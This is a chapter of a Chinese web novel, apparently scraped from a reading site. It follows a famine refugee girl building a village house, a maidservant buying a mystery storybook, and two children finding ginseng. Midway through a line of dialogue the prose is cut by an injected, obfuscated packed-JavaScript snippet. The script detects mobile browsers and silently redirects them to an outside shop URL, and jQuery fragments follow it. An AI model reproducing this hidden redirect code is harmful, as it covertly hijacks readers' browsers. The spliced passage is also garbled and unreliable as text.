林昭穗吃得很认真,逃荒的经历让她对每一颗粮食都怀有虔诚的心,必须都吃下肚子才行。


    她将最后一粒米送入口中,嚼了嚼,才看向苏珩:“……还是没有我爹娘的消息吗?”


    苏珩的神色黯然,小心去看林昭穗的神色,“抱歉,林姑娘,我的势力还是太弱了,已经小半月了,未曾有几个线索。”


    林昭穗叹了口气,看着眼前的苏珩,他也才是个十五岁的小少年,还小呢。


    “苏珩公子,你不要有压力,我相信我大哥会带着我爹娘好好的,你能帮我找已经很费心了,更何况你还为我和弟弟妹妹安排落户……”


    林昭穗安慰道。


    苏珩眼眶泛红,像只小兔子般看着林昭穗,暗想:“林姑娘小小年纪就承受如此大的压力,还出言安慰我,真是好人!”


    林昭穗被他的目光看得不自在,浑身刺挠,坐了一会儿便和苏珩作别。


    苏珩依依不舍送走林昭穗。


    ……


    何府。


    小芹是何府大小姐何知婉的贴身丫鬟,因何大小姐酷爱读话本子,她便多次帮小姐采买大量的话本。


    何知婉不爱出门,总是待在房间里,看话本吃零嘴,一看就是一整天,弄得何夫人头疼得很,总是劝说她出门。


    在大书铺买过大半话本,而新书又很少,小芹头疼,如何买些小姐没看过又新奇的话本。


    小芹暗暗抱怨:“怎么临江府的书局只卖些八股文,连话本子都寥寥无几,锦陵府的书局话本可谓百花齐放,可惜路程太远了,小姐等不及。”


    “只好去小书铺瞧瞧了。”


    小芹下定决心,往小巷中走去。


    “知文斋?名字还行,进去看看。”


    小芹随意踏入一家书铺,问掌柜:“你这里有什么新奇一些的话本子吗?”


    掌柜的走了过来,给小芹介绍一番:


    “《江亭相会》说的是男女在江心亭中一见钟情,而那位姑娘女扮男装赴考,功名到手再和公子相爱。这本书卖得很好,同你一般年纪的丫鬟都爱买这本;


    “《男书生与女东家》讲的是落魄男书生爱上女富豪,扶持女富豪成就大业的故事。这本书都是小厮马夫买的比较多。


    “……这本是我们铺子最新的《绣楼惊魂》,说的是三位绣女在绣楼里莫名其妙死去的故事。”


    前两本是畅销话本,不过小芹看过了,认为这两本入不了小姐的眼,于是便没有买回去。


    “你那《绣楼惊魂》拿来我瞧瞧,好看再买。”


    掌柜二话不说,就把新印出来的话本递给了小芹。


    小芹随意翻了翻,原本兴致缺缺,可看着看着,有种毛骨悚然之意。


    类似悬疑话本的,临江府的市面上少见,小姐也没怎么看过,尽管故事不算精巧,小芹还是买了回去。


    压在其他话本子下面,小芹回了府。


    何知婉房内。


    一位清丽的少女盘坐在地上,丝毫不顾形象,时而躺着,时而趴着,屋内还放了暖盆,舒适异常。


    少女手中翻动着话本,她一边看着,一边拿起地上摆放果盘的果脯,吃得津津有味。


    响起了敲门声。


    “小姐,奴婢回来了。”是小芹的声音。


    “进来吧。”何知婉懒洋洋道。


    小芹推门而入,门外的寒风吹散了屋内的暖意,何知婉打了个哆嗦。


    “怎么还没入冬便如此冷,”何知婉嘟囔,“你快把门关了。”


    小芹将房门合上,拿出一个小包裹,里面放了三四本书。


    全然是合小姐口味的话本子。


    何知婉翻完手上最后一页,“刚好看完,你把新的递给我!”


    小芹应下,将书摆在何知婉身前。


    少女看了看书册的标题。


    拿起一本比较感兴趣的,“《绣楼惊魂》?你去锦陵府了,这种在临江府可是少见。”


    “小姐,是新话本,我在一处小书铺淘到的,应是没多少人看。”


    何知婉翻开第一页,第一句映入眼帘:“别再信鬼魂索命了!三位绣女惨死真相,看完头皮发麻!”


    成功提起何知婉的胃口。


    她快速扫视着书中内容,越看越心惊,脊背有些发冷,尽管屋中暖盆散发热意,可何知婉却觉得很冷。


    何知婉起先是觉得这本书只是普通的悬疑话本罢了,可其中的细节很真实,给人一种真实发生过的感觉。


    “粥沫鱼块?”她看了看作者,“没听过这个名字。”


    她博览群书,但凡谢过一两本话本的作者,她都知晓,此人难道是新人?


    “怎么了小姐,这话本有什么问题吗?”


    小芹忐忑问。


    何知婉摇了摇头,“这故事细节太真实了。我看过很多话本,故事有的精彩绝伦,有的跌宕起伏,可内容都是虚构的,没有这一本真实,就像写一个人亲眼所见的事件。”


    “小芹,你去查查,有没有类似的案子。”


    “好的,小姐。”


    ……


    林家的房子已经开始建了。


    领头的是村子里鼎鼎有名的大师傅陈大柱,木匠则是给林昭穗打床的陈根生,其他零零星星加起来有十五人,工钱花了林昭穗四两白银,再加上建屋的材料费,总归花了二十两白银。


    因为林昭穗要建的房间比较多,费了些钱。


    十间房间加上一个堂屋,还有两个灶房和一个茅厕。


    林昭穗到了商议时才决定多加一些房间,为了给林大伯一家留的,虽然他们能活着的希望渺茫,但林昭穗还是多加了房间。


    这些花费下来,林昭穗私藏的积蓄都花得差不多了,还剩下一些供他们日常开销。


    林昭穗请了个做饭的婶子,到了饭点给建房的师傅做饭,她便每天去看看进度。


    她此时站在一旁,看着村民挥汗如雨,心中盘算,城里发生绣楼凶杀案的时间。


    大概是入冬前后,而且案件不像是她话本所写半年死三人,而是一个月内死了三人。


    她手指轻点下巴,“要不要等着案件发生后,再把后话本两回卖给书铺呢?”


    没等林昭穗继续想,一个声音打断了她的思路。


    是离她借住的院子边上的邻居,翠霞婶子,她从家里来找林昭穗,想必有什么事情。


    “翠霞婶子?有什么事?”林昭穗疑惑道。


    翠霞婶子膀大腰圆,一看就很有力量,她手里提着个篮子,里面放了两个鸡蛋和一把青菜,笑道:“林姑娘,我明儿有事得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263679|196205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去县城一趟,我家那口子和我一起,你看,能不能帮我照看虎子一上午?”


    虎子是翠霞婶子的儿子,最为淘气,是村子里的孩子王,整天捉鸡逗鸟,入秋后,虎子找的鸟少了很多,闲了空就在家淘气,让翠霞婶子很是头疼。


    不过家中还有两个小家伙,虎子来了也有玩伴,林昭穗便应下了。


    翠霞婶子笑着把篮子递给林昭穗,“林姑娘,多谢了,这鸡蛋你就拿去,给弟弟妹妹补补身子。”


    鸡蛋在村子里可是硬通货,平日里小孩子吵着闹着想吃,都是好久才能吃上一个,大部分都拿去卖钱买点粗粮,可以吃很久。


    林昭穗没有推脱,接过篮子道谢。


    “婶子,我苏柳姐没在家吗,怎么还绕过来找我?”


    翠霞婶子道:“我顺道来找杏花婶,问她要不要从县城带点什么的。”


    杏花婶是翠霞婶的好友,在林昭穗这里帮建房师傅做饭。


    翠霞婶没有问要不要帮林昭穗带东西,她知道林昭穗有马车,去府城都是经常的,哪还用得着她带东西。


    林昭穗明白了,拿着个篮子说:“那好,婶子我先回去了,之后把篮子还给你。”


    翠霞婶子摆了摆手:“用不着,那篮子我家男人编了很多,你留着也没事。”


    决定之后给翠霞婶子带些府城的糕点,林昭穗慢慢回了家,想着,之后要不要买些下蛋的母鸡,明面上有了出处,再多从空间拿出一些鸡蛋,每天每人吃一个……


    “穗穗,回来了?”苏柳从灶房门探出头,手里拿着个锅铲。


    林昭穗把手里的篮子拎进灶房,看了看锅中的食物,称赞道:“苏柳姐,你的厨艺进步不少!”


    苏柳是之前是十指不沾阳春水,跟着林昭穗后,学着下厨,刚开始做得很难吃,后面渐渐好起来了。


    家里的两个小家伙不知去哪里鬼混了,不过到了饭点,他们待会自己就会回来。


    “苏柳姐,你明日去买几只母鸡回来,我的银子花了不少,买别人的鸡蛋太费钱了,买几只母鸡过年还可以炖汤喝。”


    林昭穗道,眼睛看着锅里香气四溢的萝卜汤。


    苏柳笑笑,夹起一块萝卜喂给林昭穗:“我看你就是馋鸡肉了!”


    林昭穗弯了弯眼睛,咬住萝卜,嘴里绽放出萝卜鲜美多汁的口感,她夸赞:“好吃!”


    “姐!苏柳姐!我们回来了!”


    林景韶满是泥土,带着妹妹从门口回来。


    “怎么,你们去泥里滚了一圈?”林昭穗出来,看到两个小家伙脏兮兮的模样,顿时有些好笑。


    “没有,姐,你猜我挖到什么了?”林昭菀神秘兮兮的,还让哥哥去把门关好。


    林昭穗饶有兴趣:“什么?”


    林昭菀从怀里掏出一个巨大的、根须带着泥土的——人参!


    “你……你们怎么认识的,还找到了!”林昭穗双眼瞪得老大,她打死都没想到,两个加起来和她一样大的小屁孩,能找到人参!


    林昭菀得意一笑,“我之前看过爹的医书,找到很简单!就是在土里滚了一圈,就看见了!”


    这话听了,恐怕所有在山里挖草药的采药人都会捶胸顿足,这人参哪有这么好找的?


    林昭穗感慨小家伙的运气真好。